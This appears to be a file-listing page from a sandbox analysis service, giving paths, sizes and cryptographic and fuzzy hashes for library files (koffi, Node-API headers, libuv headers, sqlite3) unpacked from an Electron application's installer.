SHA256 59d1835bb717ac15092c0868bbbe79c04bf6d7600105364ea349ba3dcb35036d
MD5 e59ee9d254c6453aa99004315df58bba
SHA1 e80554a180065c9ddd1efbc7860a369f5e801eaa
SHA512 9c4ea82cc8e7a26438e7deaa6c53247ec635c638da306b839f456a759bcce09228c6f319ea19e49697278384305e7b4460ee27c4f09a90532a5ef3ed869a9101
SSDEEP 192:n6jf860QSkcUjHwjqHVTvg/3HjJ8c2jm4IBQgF5jSMDt9ljDV5Zbaj93vdKFJ2oN:6jfYQSkcUjHwjq1M/3HN8NjmrBQq5mGv
TLSH
T16A028311FB7B9A815C592241CB5718532451A1377EA2F8947ACE03682F1FB2FF23239A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

init.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\init.js
Size 3KB
SHA256 76c95aba02c0e8b2df4a0580af41c65f5a2fab8dbbc86cc02e6eb177268d0d9b
MD5 794d621d8cedff7fb5f6cdcb7ec0fbd7
SHA1 ce812ea504834f075efdca10cd679af37a43f61e
SHA512 4238ef4f656793ad292c6c167f6f4079db4438321a0c94b78ad18d93f78e8a76186a44583adf8f009e7b8772edcf98c9a61b9f4ad8f29e135076f3d0509a18bc
TLSH
T1F781532E23EB90A1AB527368A68B50D556B9C02302145B147D8C9382BFDC47C87F7AB4
MD5 SHA1 SHA512 TLSH

Submit Download

parser.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\parser.hh
Size 1KB
SHA256 b9234ebdac4bf20dff9197627d97a21c112d94283698b042dcccd9b808872291
MD5 61b9a049dfc8c0dd0a56e9581ca7526d
SHA1 a1a54ba328a446b29338c2f930b2a13802adf646
SHA512 a27c6a03d2ca38222b4a2db82113691ff5f29a8cf6bc42c72e593bd5216fa82cd88e3c2edfddebfbf9426ac48453be8c664a0879d897447b93608bc7318b0454
TLSH
T1F9210504677805D2898A42F25F9BED366930742331D9D8F1388D3351FFF268B6496B8A
MD5 SHA1 SHA512 TLSH

Submit Download

util.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\util.hh
Size 6KB
SHA256 bc9776889202e16a30623f1b165079fa3c86efce178442e4a04d6c395f2f594a
MD5 a40553a4bc46db68c6dad6c72dfbc8be
SHA1 c2853c60835ea2983ccbb5fbf68684918958bdb1
SHA512 80adb0db12cd14f3b4ca6e42c0b68ceb7ce05e77241f3ac3ae5b553ab3ce157c5981f264215c802ac54dc3e0956fe501e6c2ab0d775bd9c1c6ddf26d756cd45f
SSDEEP 192:99UmAHMsBHWqWFW5WOeWvhbplfSQISQ3jzicic:Mmjz7
TLSH
T1B6E184203FF4B2060D2642954B4B8C51DD62A967BBB4F1D870CC0775BF97AE6E076389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uv.def

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\uv.def
Size 119B
SHA256 fea5f7c4132badf3b726e640470109f5431df110ad897bee4406330db055494c
MD5 6a0353686d17b094c0a824b46233fc04
SHA1 90ecc169c74d9cc83a5a0ad010adb406ff4e9218
SHA512 647e41b9e2e8c8e2cd5c46d2bf58a37c41746e34fb34f5ea743080cfd7f1517b25aca61f752d90e80c68d2c27db65f1db181dcbac19cfd5e19fc58e9bf4e7d9a
TLSH
T10CB0922FB43E50A764E0885459D812EDC3E2384E9CC62CDA846457E948159803DD9EB9
MD5 SHA1 SHA512 TLSH

Submit Download

uv.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\uv.hh
Size 858B
SHA256 a3db799445482d3ca4177149856160fc52e3129fc1214a5a11a3d55db20bbb92
MD5 fdd1044fd4af9f9a35b6094bc5017259
SHA1 dd10a81d6da855718fa92732e532aef2a8af763e
SHA512 74c1dbc61f545c6484f7d967cdefb7c929073ca112f765d76ca9b888ba4b72809f37ddaf58502141b490cc7ce722d85efefc40e3587fff5ab2f5ac313071b8e4
TLSH
T1D3116B20A73A42C34DB75102CF6757565C66352F3D4CEDD0360917BBBEE12C63768620
MD5 SHA1 SHA512 TLSH

Submit Download

win32.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\win32.hh
Size 2KB
SHA256 486192c4d21f4e65693a6d0ec5596e3dd5b66b5c9dadc16a335906cb5d55347b
MD5 c53153a0d08ffe4c6dffe242702c23c2
SHA1 290dc900ddcac2e2d98d07371b25e803dc76ec12
SHA512 00a6cff0e76d43a3fcaf3b78d3932e63a29f5175496231c46d04452c10596ed17aa61b71b587b865806d9de3ca4a70a2828e582024543a057e4f73eea1f36f39
TLSH
T1AC51EE616437068359C306E09B7B383AD434B97B30E8F810BC996B453F13DED798621E
MD5 SHA1 SHA512 TLSH

Submit Download

write_trampolines.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\tools\write_trampolines.js
Size 1KB
SHA256 3ab8e2ca421a950555b9866396ea9d2632d3a70d5674096a20968fd0458cfd7d
MD5 364e1e3a2f1d19d03ed006beaf83cb1b
SHA1 5a508286c137d07b6051b47e4cb0dbbbbc7b6eca
SHA512 b5afc7a22906607bc2830e64e6b751e1dd3c7f4c441b967f57a7de88ed75c5eca2e5ab3874ec137dac381d868206c1e0579b8b15ac27004d56610bd2b7dfd387
TLSH
T132419D24C59E02344323846A6FB7D40254C9B9173AD8EE14FD1CA7852FDA63EB6A1B29
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-addon-api\LICENSE.md
Size 1KB
SHA256 89024017b88a9f2b763f79b941a4f2db3b4428edfcacdc0b23866b2da633ad0c
MD5 fc3ff1120869be6b3cce17f9a06bfe2e
SHA1 59cbd579b31f0c6932deaf31d0181203c501c9b1
SHA512 54481c328231787e3319e8678b56b0c898bb6d7b1302a7c74320060116fc03a6d747d02df068bba7960a71a78608f3a5b40a3e110bae107d41bb40988d8fc2b2
TLSH
T1D5219A1EB25007631CD223A0596968C8B35F714FBD9F6A44345EF344233A06CD2FF858
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-addon-api\README.md
Size 4KB
SHA256 8a5624af026ea5e9cf311476aa30cf33d9fc2c0c3be40bd7c5d8600a01ff1932
MD5 d9f694ba91e3d0e5d30224160e188ca5
SHA1 200c7ef7470454cb07b56cec5cc35cb6d713d6dd
SHA512 23298f3f68ceec5cb97994036663ab9abe6742f77ff08a6ef8430705f1f0f29089cf82316c4f0c3a179d1ca5c1ada353c34353b228b3637ce6554fbc1373ff49
SSDEEP 96:eO2LoFpRdz3dB7kPCCg/IH5lDLHnbz/Vc6pR4Ewsx+GWKsWKmGgMPdPn:eOyoFfdTdZzC0IHHDLHnbzdXnx+GNsNp
TLSH
T155A1DEE38E409A6B2F63D5C09849E6D9FF2650ECDC90DC3CB77E4184670087746EE5AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

napi-inl.deprecated.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-addon-api\napi-inl.deprecated.h
Size 6KB
SHA256 b66ed1e565e735bbfabcc2f72d466ab7c5414d3ef8851d1af440b81be7f2375c
MD5 afa451c950b59bf34189cf627881fc38
SHA1 f420000cb09f5546bd8f04d69c9736f6511ac46e
SHA512 3b85fc0bb429ff1519b697bf7b543e8265224bb9027ceb6a947bdf6108dff56df797d911e6f42f74664ae9af798b060bec1b081065ebe67286725f22445388d6
SSDEEP 192:2h3Gk+qh6Ge1gT0xUHggy0xxE7itK9NlDit/9r5:2hWk+qhjGgWUHggPx8itkNlDitlF
TLSH
T17AD16A53EE52BBC50EA25A22EC19B340CA10911F1FB55A62B2DC7B375F0E2DCB278406
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

napi-inl.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-addon-api\napi-inl.h
Size 230KB
SHA256 797668948d7f2df0ee8fcfe734af5b55942768bc7e15e77196a1f1107bba3635
MD5 a9252880de2b63d2584a0dfccfbbc837
SHA1 5b83588083a8824c0905aee4867c576d78473a3a
SHA512 dfe26b6491340589583e6173dcd253d3521413817eafc4b8a36386da56b726e27fb0fd59671d063ca77ea50902dd80c9bb88215c06248ae1aef1e5d815622939
SSDEEP 6144:2dPvxWsSKWEkRBa8iOV65+04Ho8mhRFf3j/LtapJiK7wflzb/QNJnThjbdD75kZW:2dP5WsYEkRBa8iOV65+04Ho8mhRFf3jO
TLSH
T14A34A61436E5F1012A62E723682A92519E19943B2F3CDF90F1DDB3247F805BEB13A797
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

napi.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-addon-api\napi.h
Size 117KB
SHA256 ffb807c34a8b3e346a6d0eacd7c8dbc0bdd92ee06bf42668557568dc54f918e9
MD5 1408ff95abc3a57a81a1f06d71d31898
SHA1 4c2fafdbcc38bde13084f23f5a6900036adfb65d
SHA512 fe994b51cbfd0ce83c7aac99b43542f23f545fdbd5cc2cff30919f0cf08419ab5efff175a2cc4a164a926f4fb12109c58b64ab57053f5bd62d2d91d340878ef8
SSDEEP 1536:NE5Gj3Ue9PJPLpK2rr2Ir7N11zKmkZmJ96dbhVi2cE:VUe9P9XXr7N11OZmJ0d17cE
TLSH
T1C8C3C9003B15E7611992D5D18B3B7262CE118036BF38D2D0F5EF960CAF9646AA3367DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\LICENSE
Size 1KB
SHA256 a553508f516031c91f3af1148d44970cb81bbae6c4f091be6835d39cc252238c
MD5 6adb2909701d4605b4b2ae1a9b25d8bd
SHA1 bd154892baffc0504f1ed936d83882d209beb0cc
SHA512 a60fb76e9ddf6ca0db27cb5fe5956fdbab8923130fe8d3b06ed2e33dd79c4e75fbfc3b11d91484313cb9e81667f6c0d89a27f3a06e3dd24686c5662d20b90c19
TLSH
T1C811751E72510773289B13A05978ACD9F23BB25F7A5F2A84246EF345633A06CC5FF840
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\README.md
Size 2KB
SHA256 63a4e81d19f02b164d51c4721ff3e88c81d410640de7e1d3520a2c406f0a7d83
MD5 dac20c182143e177cafd467572f1eb93
SHA1 8a5472aaf23c41df46626064927fc4b76cd52571
SHA512 9b1f5897a2c4f74f065d586ab315b19909d3daf064fcccbcb11c54f0c2a1d6837a9e9d33486fbc677ea8cfe4ddac973905076a245fe00a5364efa3d944713488
TLSH
T1535155015689F737560300B1B96AF4DDFA88C06ACA79A6B0365D019E1B109EF83BB18F
MD5 SHA1 SHA512 TLSH

Submit Download

js_native_api.def

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\def\js_native_api.def
Size 2KB
SHA256 77653a554fbb27f6c5666f4ba05f87d26f0de72bc3d0439961ac030030c2be66
MD5 fc4b999abb32893381b4e18a050d1faa
SHA1 6de009f0b36f5ab015c43adfd43982c8f4337ba8
SHA512 0d8c4b53d0183aa7b488e17235bd0fa87a8ade1a3edae82bdc54173b8e5a39799760217e2a3ef87e7a5331610ea7e477227873144b1f546c46fd003d91524c09
TLSH
T181516821F324D40A85812823C9647F45F18272BF5E3046F1DFC4963E8E75D5AA85AE9B
MD5 SHA1 SHA512 TLSH

Submit Download

node_api.def

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\def\node_api.def
Size 3KB
SHA256 e0d5e3da0520a42e26b563f6321291081bd15bdd20821d46818e5f47900f77d6
MD5 cc46a5660b05065e1b906235e29df91f
SHA1 56aa120880b416c528505b36194a301125e9123e
SHA512 e3f2116afd4d6a9b8a057424f2000f753e00d00c2d3f6461affc3ed5340b096aec63ad272c7dc770c1b32103b9c605b82702864b7fa23b8bf41ef2975767722d
TLSH
T130717515F228E50684823C53C9653F49F59273BF1F3006E2CFC4C63D8E7592AA85AE9B
MD5 SHA1 SHA512 TLSH

Submit Download

js_native_api.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\js_native_api.h
Size 30KB
SHA256 0953395662ea63697cd7a77a9320d94aa2829f9c9569abf3a74272b7a2923ce8
MD5 b4b703a7fef4bbecad0e4314016c308b
SHA1 7c74cfbecac03b96bb700fc8a90bdc2f72e4f0ae
SHA512 38df5523d1c9d7e347cbdb439bf8dc327bbb896e191c42f43ccb86347cd4abcc40b43cde2d7545f531b761f1e2436a5dd674e8024c78280e43f2e691f2b916aa
SSDEEP 384:4GQwUyGXDDyMA4VTYHkMUZn5xq6ppGHgBHwRbtYz:4SXGTDyJ4VUHkHZn5tGwQRbtYz
TLSH
T10ED26A22F634F5056BACAC03053C26169A902D331E6436D6B2DD614CFF29D9FB63F686
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

js_native_api_types.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\js_native_api_types.h
Size 6KB
SHA256 21eebde05d2ee59d315ac27d4aa82434ca88508a0b2cf5819802a00ca523831d
MD5 c0898e956505ab3fa1bd56d432b2096a
SHA1 98b8384227a4de792073b1c9799ed23cb8c31612
SHA512 358f94637c35d74f35200f6ed18d398b28c49885660ebc359c0bf2e74ca638ad47c225e3f5d477ff0b3d11d392c146ae27f5f8b375d0428a577f4398b94eaefd
SSDEEP 96:kuiRbD1HSp5ow0yHb16Qziq5QRkR/zi2M/r2LR61Rr86AyrUHvdscX3weR4pR9Rq:sDYHsQWq5LGCGJcvdsYJ4Tnq
TLSH
T1B5D1531CAE69F26D05882CD385392748E60F85361E34F9E071FD652C7F0D825A27AB8B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node_api.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\node_api.h
Size 10KB
SHA256 2d4560831e525b47b060ec8a0864ab73993df9e20215ce9f0fe7b24cd31af32a
MD5 46789b9f660aa72c7ba93fa36075ef0d
SHA1 912cccee5631ce9c0a74277345de57a58ed65786
SHA512 28aa05d2b5cbd84949da5cad5f0574f177d41c58e094a5272b57efd2ed22c6336299091331538c98af66efb175444220ac9f17f09ff083efb467399465b2c4d9
SSDEEP 192:/PQ8bOh/n9Vg7iECm+6O6dG4ZGjIAWnIJc8couQv8kap:/PQ8bOhg8JdMQkko
TLSH
T19E223F16B930F6405BECBC53041E21199961AE370F1C2782B2CD719DEF59A5FB27B19C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node_api_types.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\node_api_types.h
Size 1KB
SHA256 a25356630d3058f0a0c8937d9f297e9471e037fda58c2696d8a505c2bd99cb00
MD5 7869cfb6871aa1b76abcd0cfba9305c1
SHA1 a48b37eff5f42d48938ac614bb38abb10816921b
SHA512 02fd989a6e2d1674e640e64ba8e74805ba6e5a274e88b07dfc07c59f33a101e92afd75a641e2d86a90c7b2470ee2e0f2a260337613925f49d5443a642395736a
TLSH
T173417CAA6D69F1E509C07DA3815E310C18AB57300E0499D2B19DB1EFFF5193B526F398
MD5 SHA1 SHA512 TLSH

Submit Download

uv.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv.h
Size 71KB
SHA256 fddec8c096616675b4578d85222663c8624dce3ee67f5be1c33ba83eb02a827c
MD5 5b5a2d9c337afc8d663cdc034581eb0c
SHA1 18bc6c218cfe62d4fa142cf3c33402f323370666
SHA512 f7253f2acd6606ff3c9570bad36d19a17ead94c4bce7acf9dad4c788c1fe43efe182fab4ecc9a4daf282b0fac40d1e2f0789d59a9da581ce9e36af3548799f43
SSDEEP 768:pqRJAHoYxTXrk2cZUkITFnWyKdhj5OPp2IlOTtzLF7PKe:pqRMTXDFnWRdhzIezKe
TLSH
T11A639640B6BC10DFE2D121A2C61946E461A1D7572FE4FCC6B54D62604F2ADAEE13BFE0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aix.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\aix.h
Size 1KB
SHA256 bed77e4cf6c06f1224e681cbe607eff04713ca0c1e1f4a102e6a6565ee3f02aa
MD5 ecf4210994292b9df9aa3996d189541e
SHA1 9f01e9e2cca0327b551a4be1b7f215ec78df3b7d
SHA512 1e4bb1b2b7b61604d34f2d4e48b5419ca5d4bd96c6bbe07fa16e963f7d618adff11c71f39a1327af689014fc748e2334f22579af0280726a8a539c44b5486ec0
TLSH
T12631632E32550372168613B09A7AB8C4B01672AFB9AB1AC8346EF1442F19078D5FBDD8
MD5 SHA1 SHA512 TLSH

Submit Download

bsd.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\bsd.h
Size 1KB
SHA256 963533ff4b16f72a204a8c760896a857c54d0ac50570f1793e3bef1f2ae8b35f
MD5 8f9b647c10bf6779f4f57cce5b586499
SHA1 7a466f86d6da917511694b08ea21b77e6ba87e2a
SHA512 f33b9b044469708ae0bb8c469cce9435a4fa5891914d0136e598b3dba211cf91bcbe7cf9fec1fb226a1dbc50fb70b4618ddeea50912db2cec83fe3ed5f9ee0ca
TLSH
T10A31862D3241036209A603B0966868C47457B3AF79FB15D8746EF4482F1A078D4FBDC8
MD5 SHA1 SHA512 TLSH

Submit Download

darwin.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\darwin.h
Size 3KB
SHA256 222b6dd3ce67cfbb735b14b1662f065fc23570d6969acf463b39d946b7590d8c
MD5 fb3afffa36a1114de6ba7fa527b8de42
SHA1 b21e19eb303d8212212eb1b0411e7bbe5bb52bd9
SHA512 b54d2987c29efeb5d5e5af54773a7ebe2de791357784ac3d466331bbc642c8c8c3fc476bcb91b5e611721dbc570973d5aee7733c4d0f0b879f4e8ba7837ff220
TLSH
T17E61615536670352078103B056A494816092FBFB7EDA68E8781EE0546F1E458BCF7DCA
MD5 SHA1 SHA512 TLSH

Submit Download

errno.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\errno.h
Size 10KB
SHA256 4242edf790e4569ef349026ab4c6e31093334ee5fc02b16ed7a0d9fbacdffd16
MD5 40625fb0a8692969e4e8e4b5284bf23c
SHA1 80a38d4f5fac291a07fdcd32f062b5b4aaded1e8
SHA512 cc974c789504aaac4cd204f4921410daa95cffa958ce633267c9f490907f19adf8178bab4aa042ce3b9259439a8f306330f65e60cc431a9aa7770e8b736328a7
SSDEEP 192:6YMQHRLUJ5QH87UbfxzoKEWjkSX//gYoKfk5gJsMziUWf8F6MOa2R/WYrwe/hSFo:0EYJ5QH8wLxzoKEWjkSX///oKfk5gJsJ
TLSH
T18A3253752EE710E6912B22F0DC0CD8AB4662EFBB0BA184F6D403DDAD6D1565720F7893
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

linux.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\linux.h
Size 1KB
SHA256 adce0ed0821c8466a87a0a4c9e0df9ea7e4a4b24d099c7d7ed196f72a13f669d
MD5 69ea88f656a7d3063fc0dde309f22ffe
SHA1 94d8eed53def3efcccefb42a32a4e4cf6c3cd41d
SHA512 1e01cecb7a67944376fd6ccb730865e386730b80e995f15e988cffcc0a903fedfde6e9c85ded905af7e4333397cc3fe3e80a01c3bff922fb8e3b6bd18f0839fd
TLSH
T15231542D72260362198253B09AB968C4B01773BB79AB1AD4346FE1445F1906CD9FBEC4
MD5 SHA1 SHA512 TLSH

Submit Download

os390.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\os390.h
Size 1KB
SHA256 98388ae32ce2c4390b82c3529539d2a476c44f590e960ed30a79f72b807ecd02
MD5 776901f6aaf5f5b776f195e7781b126d
SHA1 af99060bd73beb17824db921ea64b1f6500d3e22
SHA512 7db13f891c3a4abb77b67f3d40a2b5f35d77df2fb6fb6b80a9f3371ff34db336c759a8e8b2078a619bf2d53cd68ca04572f957c8e3674bc55502fe15743d0d09
TLSH
T13631863D36500352255203B09969B8C4B056B69FB9BB26C8386EF1481F16079E8FBDD9
MD5 SHA1 SHA512 TLSH

Submit Download

posix.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\posix.h
Size 1KB
SHA256 e9d7218b34e6e89b7b412891b7e2aa8b3a561c5ce9714c1f4def6c8a8593a6a6
MD5 d0f04c4f2369a200757b66dff2dc3e91
SHA1 58ced5951008476d521f9523064c0867a0ff1b87
SHA512 3aa36974180c7e09dc36cd8d7613ccc7b670e34c1c126c8617d26f85ab509326f39efa76836ce7b03625e13295458ad409a7e4bf499b83931097fd97eb316c4f
TLSH
T1C031862E3210535325A613B096657CC4B11B739BBA772AC4389EF1443F1A06CD9FBEC4
MD5 SHA1 SHA512 TLSH

Submit Download

sunos.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\sunos.h
Size 1KB
SHA256 29d4b4ef48dc3c3ab32d75e0a85bcb80e084d42b32aae40d67fc1d882b93298a
MD5 2ef9590794131b84b7be010b69e461e9
SHA1 3b7cf10720efb16085cf7b4213768f45d462d4d4
SHA512 323d380c526942f71247b24a282b15f4c78f2d36630687781dc7bcaf4d44480896d85ba3f77d001fedfcadf62cea350d5f26b412f3a8619ab688ad948a85076b
TLSH
T1B841943D73111376054707B0ABAD64887016B2AF7AB715E8346EE4942F1845CE1FBED4
MD5 SHA1 SHA512 TLSH

Submit Download

threadpool.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\threadpool.h
Size 1KB
SHA256 09ae41099af710289155be012df45c2fce04da6a02e813278b4558935e645938
MD5 d43062c02ff56f95a0afbdfdde76c2e2
SHA1 fdfcf570553d7c89f620103752b90c6ebb143094
SHA512 0b50ec726eb638bf7e96a72df57612f264ce148a47e8f292c18c7cb822b022578ac42fc54761b777fd9f93e419c8de7eb2cafcff52c63f6f1b1ee5be3f788f41
TLSH
T19E31A929337823A315D203B0D676A888711FB19E7EFB15C0A45BE3646F1A0B9C4FBD54
MD5 SHA1 SHA512 TLSH

Submit Download

tree.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\tree.h
Size 35KB
SHA256 34393c74082c71ddd5bd9ec4afe30ef03df7fa7bb64be5a50ae070cdfebb5c43
MD5 fa0e5ecdc36f2f9e710801d1d87e814f
SHA1 defed5e6e19eaeb7a0a0ba1544a605ef1618b0d8
SHA512 6d91251a19fbf1922386a194d8fc77501813aa9a1554f10ec03f2ee6a6776ebe3ee3b447aa74a2f73d4435af7d5414babf73459c9598e60e47e09062adca8835
SSDEEP 768:2/gTbMXXUCIG4B/B8Ty91xa7qIRqzdTxxaw2ZYqzSVya0zP5QrQU:2/UbMXXUCIG4B/B8Ty91xa7qIRqzdTx3
TLSH
T187F2BDD968D75B910B430F3157B9C818A35883E39A491C58B39F63B26F21EF04CB96DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unix.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\unix.h
Size 19KB
SHA256 a246095a1476d76631f5ec85be171aee8107eb0423007546ec91c58887c28f02
MD5 73a7e490ae44d821427466bb8f3f3d34
SHA1 597f9dc3184a39528d030d3909cfc192411f5f85
SHA512 7de6d8046239bd31ddabe3b1c7196a2d2bfdf2540236712d8408f2aa25265dd1a03747187f018165ff6ca0fcbbbf9b957dd3770e29cdfaf874534c1ec2ca2ec2
SSDEEP 384:0EKwR0+wW0dyF0uwCZRu+u8az8aFKHrArBG4jntnvsQ8Z8xzx/fFjWd+ZAm6dGd1:phNVu8az8rrArBG4jntnvT8Z8xzx/fFz
TLSH
T1DD922F206EAF1082835706B092AAC483504BFFFB1BC5DCF0B50E59686F5950979F76CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

version.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\version.h
Size 1KB
SHA256 aef7fb55ffcece76db9cb7f87d0632e432369747f329679779616cd0721981da
MD5 58a26eaf75c31a5f734762d17f006e24
SHA1 8fec594a1499eed9eb090171226b26dafc4443dc
SHA512 c9a92444c9712ed3a569d5eefbebbc9e687bb389ac3b2b0fd273b297537ce307a081a5589a1d448a0fa7612b6d70803fe1f0161ea14cc3d4b6d9f819a041a36d
TLSH
T1F531450A724023E2545112E3961D78C97955B25B776615C8F03EF5064F26C6583FFFE8
MD5 SHA1 SHA512 TLSH

Submit Download

win.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\vendor\node-api-headers\include\uv\win.h
Size 33KB
SHA256 51b6bf729c4c3e66cd89e0b0b0d734998776e675fe0a5eda9db77b634eb83ef0
MD5 550fb0ad024af3e7011847207a71ed82
SHA1 36e3d5dfc81069d1b697ccb41c8c8f73f370c513
SHA512 5dd83b02ca4ab3a61161559654f5005d472e9838de1fdda69f5a5da24327f98c252f20c22f3821cadd0fad46bfa3baf4a94ce03c6b7560c8afb7ecf5bc7f1d9e
SSDEEP 384:0E6zVB/YnsJ/lCSpmDWjeFjVt7O6SX64a5Y3sHqJ45:pYQnsysyFu6I64a5Y8HqJ45
TLSH
T170E2A4142DAB2092936311B087FB29C01106F7E70FC49DE4740E5A2C2F6AA59BDF7ADD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\LICENSE
Size 1KB
SHA256 7686f81e580cd6774f609a2d8a41b2cebdf79bc30e6b46c3efff5a656158981c
MD5 79558839a9db3e807e4ae6f8cd100c1c
SHA1 ae3dbcee04c86fbc589fcf2547d4aaaeb41db3c2
SHA512 b42c93f2b097afa6e09d79ed045b4dd293df2c29d91dda5dda04084d3329b721a6aa92a6ad6714564386a7928e9af9195ac310deecd37a93bb04b6a6f744be46
TLSH
T13B31A75B12404BF709E21692756679C0B48DD02D3B275E051CBDF34467BB42FC8BB454
MD5 SHA1 SHA512 TLSH

Submit Download

node_sqlite3.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

common-sqlite.gypi

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\deps\common-sqlite.gypi
Size 1KB
SHA256 4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
